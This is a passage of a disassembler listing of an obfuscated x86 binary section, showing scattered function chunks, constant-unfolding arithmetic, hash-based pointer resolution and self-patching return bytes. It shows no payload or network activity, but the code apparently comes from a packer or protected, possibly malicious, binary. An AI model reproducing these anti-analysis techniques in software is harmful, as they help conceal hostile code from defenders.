; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E3F7


loc_74FD05:				; CODE XREF: sub_74E3F7-12D4j
		xor	eax, 39283E88h
		add	eax, 0C311AA2Eh
		add	eax, ebp
		push	ecx
		push	0EB67B806h
		pop	ecx
		jmp	loc_74A84A
; END OF FUNCTION CHUNK	FOR sub_74E3F7
; ---------------------------------------------------------------------------


loc_74FD1F:				; CODE XREF: _0z4jwtox:00756DE7j
		jge	loc_75633E
; START	OF FUNCTION CHUNK FOR sub_74AD56


loc_74FD25:				; CODE XREF: sub_74AD56+C674j
		jmp	nullsub_242
; END OF FUNCTION CHUNK	FOR sub_74AD56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457CB


loc_74FD2A:				; CODE XREF: sub_7457CB+7j
		jmp	loc_74E5A4
; END OF FUNCTION CHUNK	FOR sub_7457CB
; ---------------------------------------------------------------------------
		sbb	ebx, edi
		jmp	loc_756338
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_74FD36:				; CODE XREF: sub_747A94:loc_7528F5j
		add	edx, ebp
		push	edi
		push	9AFA0B13h
		pop	edi
		sub	edi, 6531D2F1h
		and	edi, 7FE6DD5h
		sub	edi, 3D35C313h
		jmp	loc_74697A
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------


loc_74FD56:				; CODE XREF: _0z4jwtox:loc_756352j
		push	edx
		push	eax
		push	267E0C99h
		pop	eax
		jmp	loc_7492A1
; ---------------------------------------------------------------------------
		and	ebx, 0CFB6A0B7h
		cmp	ebp, 881E3869h
		jmp	loc_74E118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A83D


loc_74FD74:				; CODE XREF: sub_74A83D:loc_74A84Aj
		and	ecx, 9DFCF15h
		xor	ecx, 7CDE9A4Bh


loc_74FD80:				; CODE XREF: _0z4jwtox:0074D76Dj
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_755338
		jmp	loc_750968
; END OF FUNCTION CHUNK	FOR sub_74A83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_74FD93:				; CODE XREF: sub_74ECEF:loc_74B4D2j
		mov	edx, esi
		pop	esi
		rol	edx, 1Ah
		sub	edx, 38836C86h
		jmp	loc_75772D
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; ---------------------------------------------------------------------------


loc_74FDA4:				; CODE XREF: _0z4jwtox:0075226Cj
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		call	sub_755915
; START	OF FUNCTION CHUNK FOR sub_754949


loc_74FDAF:				; CODE XREF: sub_754949+Aj
		jmp	nullsub_281
; END OF FUNCTION CHUNK	FOR sub_754949
; ---------------------------------------------------------------------------


loc_74FDB4:				; DATA XREF: sub_7484F5+5C82o
		call	sub_753D0E
		push	offset sub_74DE6C
		jmp	locret_7497E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749115


loc_74FDC3:				; CODE XREF: sub_749115+Aj
		push	edx
		push	edx
		call	sub_74E531


loc_74FDCA:				; CODE XREF: sub_74BED4-3395j
		jmp	loc_745C26
; END OF FUNCTION CHUNK	FOR sub_749115
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756FF2


loc_74FDCF:				; CODE XREF: sub_756FF2-1368j
		xchg	edi, [esp+0]
		jmp	sub_750C4E
; END OF FUNCTION CHUNK	FOR sub_756FF2
; ---------------------------------------------------------------------------
		mov	eax, 0B88FF16Dh
		call	sub_746E93
		mov	ds:off_41F064, eax
		lea	eax, sub_756FF2
		mov	byte ptr [eax],	0C3h
		jmp	loc_748A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756FF2


loc_74FDF5:				; CODE XREF: _0z4jwtox:00749F20j
					; sub_756FF2+1j
		push	offset loc_74BC0A
		jmp	loc_7497E4
; END OF FUNCTION CHUNK	FOR sub_756FF2
; ---------------------------------------------------------------------------


loc_74FDFF:				; CODE XREF: _0z4jwtox:0074999Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_74FE00:				; CODE XREF: sub_752520+2458j
		jmp	loc_755938
; END OF FUNCTION CHUNK	FOR sub_752520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA2F


loc_74FE05:				; CODE XREF: sub_74BA2F+Ej
		jmp	loc_74EB7C
; END OF FUNCTION CHUNK	FOR sub_74BA2F
; ---------------------------------------------------------------------------


loc_74FE0A:				; CODE XREF: _0z4jwtox:loc_74E54Bj
		xchg	edx, [esp]
		call	sub_74FE16
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_74FE16	proc near		; CODE XREF: _0z4jwtox:0074FE0Dp
		push	ebp
		call	sub_7515AA
sub_74FE16	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_75364C


loc_74FE1C:				; CODE XREF: sub_75364C:loc_747482j
		setnz	byte ptr [ebp-5]
		push	edi
		push	435E3931h
		pop	edi
		jmp	loc_7467CA
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BE45


loc_74FE2C:				; CODE XREF: sub_74BE45+31E5j
		cmp	dword ptr [ebp-4], 0
		jz	loc_74D586
		call	nullsub_5
; END OF FUNCTION CHUNK	FOR sub_74BE45
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74FE3B:				; CODE XREF: sub_748A22-7D7j
					; sub_7474B9:loc_752F4Fj
		jz	loc_74CA49
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_7533C1
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------

locret_74FE4F:				; CODE XREF: _0z4jwtox:loc_74E73Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_74FE50:				; CODE XREF: sub_74698F+Bj
		jmp	loc_754378
; END OF FUNCTION CHUNK	FOR sub_74698F

; =============== S U B	R O U T	I N E =======================================



sub_74FE55	proc near		; CODE XREF: sub_74FE55-6DA6p
					; _0z4jwtox:0074A076j

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074508F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00746AF3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00746D6A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074771B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007479D3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00747F62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007482A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748679 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 007488EE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00749083 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007490AA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074A3B1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0074A5DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A9B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A9D8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074AF28 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074B266 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074B90C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074C086 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C19E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C6D2 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0074D017 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D356 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074E2E9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074E83C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E9B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074EF56 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074EFE5 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0074F6D8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0075018F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00750860 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00752303 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00752414 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00752B99 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 007538BD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00753F45 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075440C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00755887 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755B07 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00756004 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075626A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075685B SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	al, 0A4h
		jz	loc_750861
		jmp	loc_74E9B5
sub_74FE55	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_74FE66:				; CODE XREF: sub_75364C:loc_754B77j
		popf
		xchg	esi, edx
		mov	edx, [ecx]
		jmp	loc_7533F6
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------


loc_74FE70:				; CODE XREF: _0z4jwtox:0074A4A5j
		popf
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74FE71:				; CODE XREF: sub_7543C5:loc_74A48Ej
		sub	edx, 9C577636h
		xor	edx, 7E48469h
		xor	eax, edx
		pop	edx
		jz	loc_74D938
		jmp	loc_75526D
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_74FE8B:				; CODE XREF: _0z4jwtox:007536D0j
		rol	eax, 4
		add	eax, 0FB3D6BACh
		or	eax, 0E3FA97B1h
		add	eax, 1474F969h
		pushf
		push	ebx
		push	0CEA0453Eh
		jmp	loc_74EC84
; ---------------------------------------------------------------------------


loc_74FEAC:				; CODE XREF: _0z4jwtox:00755CF7j
		ror	ebx, 11h

; =============== S U B	R O U T	I N E =======================================



sub_74FEAF	proc near		; CODE XREF: sub_7572F3:loc_750BB1p

; FUNCTION CHUNK AT 00751165 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0075321C SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	4A4CC1AAh
		pop	eax
		sub	eax, 99518F31h
		jmp	loc_75321C
sub_74FEAF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750715


loc_74FEC4:				; CODE XREF: sub_750715-263Ej
		push	edx
		call	sub_7570B1
		mov	eax, 0F26FE81Bh
		call	sub_746E93
		mov	ds:off_41F0B4, eax
		lea	eax, sub_750715
		mov	byte ptr [eax],	0C3h
		jmp	sub_750715
; END OF FUNCTION CHUNK	FOR sub_750715

; =============== S U B	R O U T	I N E =======================================



sub_74FEE8	proc near		; DATA XREF: _0z4jwtox:00756C99o
		call	sub_74FACE
		mov	eax, 0CE6B079Ah
		push	edi
		push	6A970C51h
		pop	edi
		or	edi, 91EC23FCh
		and	edi, 0BA4ECD80h
		add	edi, 46266DC3h
		jmp	loc_74FFBB
sub_74FEE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748773


loc_74FF10:				; CODE XREF: sub_748773:loc_74D97Fj
		pop	eax
		sub	eax, 0BD24F97Dh
		rol	eax, 17h
		add	eax, 0EDDBC250h
		popf
		push	offset loc_74D778
		jmp	nullsub_147
; END OF FUNCTION CHUNK	FOR sub_748773
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74FF2B:				; CODE XREF: sub_74D1F3+291Ej
		jbe	sub_751EFF
		adc	edi, ebp
		pop	ecx
		xchg	esi, edi
		jmp	loc_74AF85
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74FF3B:				; CODE XREF: sub_74A7D8-2082j
		jns	loc_74F8AA
		mov	esi, [ebx]


loc_74FF43:				; CODE XREF: sub_74A7D8:loc_754AA6j
		add	esi, 4BE59DC2h
		xor	esi, 36A78C80h
		xor	eax, esi
		pop	esi
		jb	loc_746E0F
		jmp	loc_750609
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74FF5D:				; CODE XREF: sub_74D23E-2FF9j
		jbe	loc_75646B
		mov	ebp, [ebx]


loc_74FF65:				; CODE XREF: sub_74D23E:loc_750B2Bj
		and	edi, 75C6777Dh
		add	edi, 0FC707F62h
		xchg	edi, [esp+4+var_4]
		jmp	loc_74A0DE
; END OF FUNCTION CHUNK	FOR sub_74D23E

; =============== S U B	R O U T	I N E =======================================



sub_74FF79	proc near		; CODE XREF: _0z4jwtox:00747E62j
					; _0z4jwtox:00747F58p

; FUNCTION CHUNK AT 00752208 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi


loc_74FF7D:				; CODE XREF: _0z4jwtox:007572E2j
		xor	eax, 158671F9h
		sub	eax, 5007F0BFh
		jmp	loc_752208
sub_74FF79	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_74FF8E:				; CODE XREF: sub_756496j
		mov	eax, ds:dword_753554
		jmp	loc_754317
; END OF FUNCTION CHUNK	FOR sub_756496
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_74FF99:				; CODE XREF: sub_74C2C9:loc_74935Fj
		jnz	loc_74A05A
		call	sub_755179


loc_74FFA4:				; CODE XREF: _0z4jwtox:loc_74DCCCj
		mov	edx, 0E5254649h
		call	sub_74BA29
		mov	dword ptr ds:loc_74F377+1, eax


loc_74FFB3:				; CODE XREF: _0z4jwtox:loc_745BE7j
					; sub_74C2C9+386Fj ...
		mov	esp, ebp
		pop	ebp
		call	sub_755164


loc_74FFBB:				; CODE XREF: sub_74FEE8+23j
		jmp	loc_746547
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_74FFC0:				; CODE XREF: sub_748B52-680j
		jmp	nullsub_13
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74FFC5:				; CODE XREF: sub_74C8DA+AD1Bj
		jnz	loc_74A8C7
		jmp	loc_749692
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A1BE


loc_74FFD0:				; CODE XREF: sub_74A1BE+Fj
		mov	byte ptr [eax],	0C3h
		jmp	loc_75078A
; END OF FUNCTION CHUNK	FOR sub_74A1BE
; ---------------------------------------------------------------------------
		call	nullsub_290
		jmp	ds:dword_41F024
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_74FFE3:				; CODE XREF: sub_748C0D+4996j
		jmp	loc_756F17
; END OF FUNCTION CHUNK	FOR sub_748C0D
; ---------------------------------------------------------------------------


loc_74FFE8:				; CODE XREF: _0z4jwtox:00745A06j
		jmp	loc_74E08A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_290. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jns	loc_7530B6
		jmp	loc_754187
; ---------------------------------------------------------------------------
		mov	eax, ebx
		jmp	loc_752887
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_750000:				; CODE XREF: sub_74AAC1+Ej
		jnz	loc_752B2E
		jmp	loc_74E97B
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754CBF


loc_75000B:				; CODE XREF: sub_754CBF+29D7j
		ja	loc_7499F1
		not	ebp
		pushf


loc_750014:				; CODE XREF: sub_754CBF:loc_757687j
		rol	edi, 18h
		jmp	loc_74ACE6
; END OF FUNCTION CHUNK	FOR sub_754CBF
; ---------------------------------------------------------------------------


loc_75001C:				; CODE XREF: _0z4jwtox:00757395j
		sub	eax, 45576478h
		ror	eax, 1Dh
		add	eax, 0F304E64Eh
		mov	edx, [esp]
		jmp	loc_7478EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_750033:				; CODE XREF: sub_74BF3A-34F8j
		jno	loc_74C2EC
		not	ebp
		jmp	loc_754B94
; END OF FUNCTION CHUNK	FOR sub_74BF3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_750040:				; CODE XREF: sub_7457DD:loc_755704j
					; sub_74AE46:loc_755BDAj
		mov	byte ptr [eax],	0C3h
		jmp	sub_7571A1
; END OF FUNCTION CHUNK	FOR sub_7457DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_750048:				; CODE XREF: sub_7571A1j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ebx
		push	0FCF46073h
		jmp	loc_74B8D5
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------


loc_750058:				; CODE XREF: _0z4jwtox:loc_7549ADj
		jz	loc_746C1D
		jmp	loc_753620
; ---------------------------------------------------------------------------


loc_750063:				; CODE XREF: _0z4jwtox:loc_75523Bj
		jmp	ds:dword_41F0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_750069:				; CODE XREF: sub_74673E:loc_747579j
					; _0z4jwtox:0074BB61j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74673E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
		db 84h
; ---------------------------------------------------------------------------
		jmp	short loc_7500E4
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_753D0E
		push	904AA3Bh
		pop	eax
		jmp	loc_75576B
; ---------------------------------------------------------------------------


loc_750089:				; CODE XREF: _0z4jwtox:00754274j
		sbb	ecx, ebp
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_75008B:				; CODE XREF: sub_7490F6:loc_754259j
		add	ebx, 0BCBB47D8h
		mov	[ebx], eax
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529BD


loc_750095:				; CODE XREF: sub_7529BD-173Aj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7529BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AA82


loc_75009A:				; CODE XREF: sub_74AA82+Ej
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74AA82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_75009F:				; CODE XREF: sub_746E37+399Cj
		jmp	loc_751388
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_7500A4:				; CODE XREF: sub_747A94-2203j
		jmp	loc_74EF5D
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A821


loc_7500A9:				; CODE XREF: sub_74A821-5412j
		jmp	loc_746693
; END OF FUNCTION CHUNK	FOR sub_74A821

; =============== S U B	R O U T	I N E =======================================



sub_7500AE	proc near		; CODE XREF: sub_7490F6:loc_747588p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745881 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748E34 SIZE 0000000A BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		jmp	loc_745881
sub_7500AE	endp

; ---------------------------------------------------------------------------


loc_7500B9:				; CODE XREF: _0z4jwtox:loc_746CEAj
		cdq
		cmp	esi, 46BEF38Ah
		jmp	loc_75117B

; =============== S U B	R O U T	I N E =======================================



sub_7500C5	proc near		; CODE XREF: sub_75051C:loc_749906p
					; sub_74C3EB+6311j
		xchg	eax, [esp+0]
		pop	eax
		mov	edx, [ebp+8]
		mov	[edx-10h], eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		call	sub_7457CB


loc_7500DA:				; CODE XREF: sub_74A372+6A01j
		jmp	loc_754B85
sub_7500C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7500DF:				; CODE XREF: _0z4jwtox:0074E02Ej
		jmp	locret_74D419
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_7500E4:				; CODE XREF: sub_745911+2F04j
					; _0z4jwtox:00750070j
		jmp	loc_74815D
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
		jmp	ds:off_41F084
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74504D


loc_7500EF:				; CODE XREF: _0z4jwtox:00745823j
					; sub_754779:loc_74595Fj ...
		js	loc_745064
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edi
		mov	edi, edx
		xchg	edi, [esp-4+arg_0]
		push	offset sub_74CC05


loc_750104:				; CODE XREF: _0z4jwtox:007539F4j
		jmp	sub_747156
; END OF FUNCTION CHUNK	FOR sub_74504D
; ---------------------------------------------------------------------------


loc_750109:				; CODE XREF: _0z4jwtox:007549BEj
		jb	loc_748DDB
		xor	ecx, 96885E7Ah
		jmp	sub_74673E
; ---------------------------------------------------------------------------
		pushf
		xor	ebx, eax
		jmp	sub_74720A
; ---------------------------------------------------------------------------
		push	18B0A5DEh
		pop	eax
		rol	eax, 8
		sub	eax, 7FE2C82Eh
		rol	eax, 0Fh
		test	eax, 1000h
		jmp	loc_749910
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_75013F:				; CODE XREF: sub_74C8DA:loc_746E0Aj
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7573A9
		jmp	loc_74E5D5
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_75014D:				; CODE XREF: sub_74A4B0:loc_7545C1j
		pop	ebp
		xchg	ebp, [esp+0]
		call	sub_750C4E
		mov	eax, 92A798AFh
		push	ecx
		jmp	loc_74510B
; END OF FUNCTION CHUNK	FOR sub_74A4B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_750161:				; CODE XREF: _0z4jwtox:0074711Bj
					; sub_7543C5:loc_74A494j
		jnz	loc_74F457


loc_750167:				; CODE XREF: sub_7476BB+F386j
		jmp	sub_756158
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_75016C:				; CODE XREF: sub_74A96E+2381j
		jmp	loc_747856
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------
		or	ecx, 7516F91Dh
		cdq
		sub	esi, 3F2C59F9h
		jmp	loc_74F457
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_750183:				; CODE XREF: sub_745911+285Dj
		and	al, 0F6h
		push	offset sub_74F3E4
		jmp	nullsub_78
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_75018F:				; CODE XREF: sub_74FE55+45C3j
		mov	esi, [edi]
		and	esi, ebx


loc_750193:				; CODE XREF: sub_74FE55:loc_74E9B5j
		push	3CD03998h
		pop	eax
		xor	eax, 0B37F429Fh
		sub	eax, 454A15BBh
		rol	eax, 19h
		jmp	loc_752414
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C0C


loc_7501AD:				; CODE XREF: sub_747C0C+3F17j
		xchg	eax, [edi]
; END OF FUNCTION CHUNK	FOR sub_747C0C

; =============== S U B	R O U T	I N E =======================================



sub_7501AF	proc near		; CODE XREF: sub_74721B:loc_746E2Dp
					; _0z4jwtox:loc_74F4A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745710 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074584E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074587C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00745CDB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00746D41 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074795D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748250 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007486F9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074982F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074A0A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074B3B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C093 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074E70E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F2B4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074F3B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FAC5 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0074FB16 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00751103 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751FA4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00754D34 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00755EF0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 007568A0 SIZE 00000018 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_755EF0
		jmp	loc_74F3B7
sub_7501AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7501C4:				; CODE XREF: sub_752D11:loc_7506CCj
		jnz	loc_74BF06
		jmp	loc_74987B
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7476A3


loc_7501CF:				; CODE XREF: sub_7476A3+13j
		add	eax, offset byte_777A31
		xchg	eax, [esp+4+var_4]
		jmp	loc_74FA4B
; END OF FUNCTION CHUNK	FOR sub_7476A3
; ---------------------------------------------------------------------------
		xchg	edx, eax
		jmp	sub_7460F1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75547D


loc_7501E5:				; CODE XREF: sub_75547D:loc_747661j
		xor	edi, 51F089F8h
		sub	edi, 0B2083CD0h
		cmp	edi, 161E3CFEh
		jmp	loc_75492B
; END OF FUNCTION CHUNK	FOR sub_75547D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_7501FD:				; CODE XREF: sub_7474B9+5045j
		jmp	loc_757183
; END OF FUNCTION CHUNK	FOR sub_7474B9

; =============== S U B	R O U T	I N E =======================================



sub_750202	proc near		; DATA XREF: sub_755C38-F49Co

; FUNCTION CHUNK AT 0074E22E SIZE 00000005 BYTES

		add	edx, 7220B264h
		mov	[edx], eax
		pop	edx
		lea	eax, loc_75344B
		mov	byte ptr [eax],	0C3h
		jmp	loc_74E22E
sub_750202	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_750219	proc near		; CODE XREF: sub_40656E+D4p
					; sub_750219+5j
					; DATA XREF: ...
		call	sub_74C0A0
		jmp	ds:off_41F09C
sub_750219	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75481B


loc_750224:				; CODE XREF: sub_75481B+8j
		jmp	nullsub_134
; END OF FUNCTION CHUNK	FOR sub_75481B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_750229:				; CODE XREF: sub_74FA7E-685Aj
		jmp	loc_7508AF
; END OF FUNCTION CHUNK	FOR sub_74FA7E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_75022F:				; CODE XREF: _0z4jwtox:00754EABj
		add	ebx, 0B6B1B37Bh
		mov	[ebx], eax
		pop	ebx
		mov	word ptr [ebp-6], 0FFFFh
		jmp	loc_74CA96

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_750243	proc near		; CODE XREF: sub_7510EA-936Dj
					; sub_748A22-7DFp ...

var_10		= dword	ptr -10h
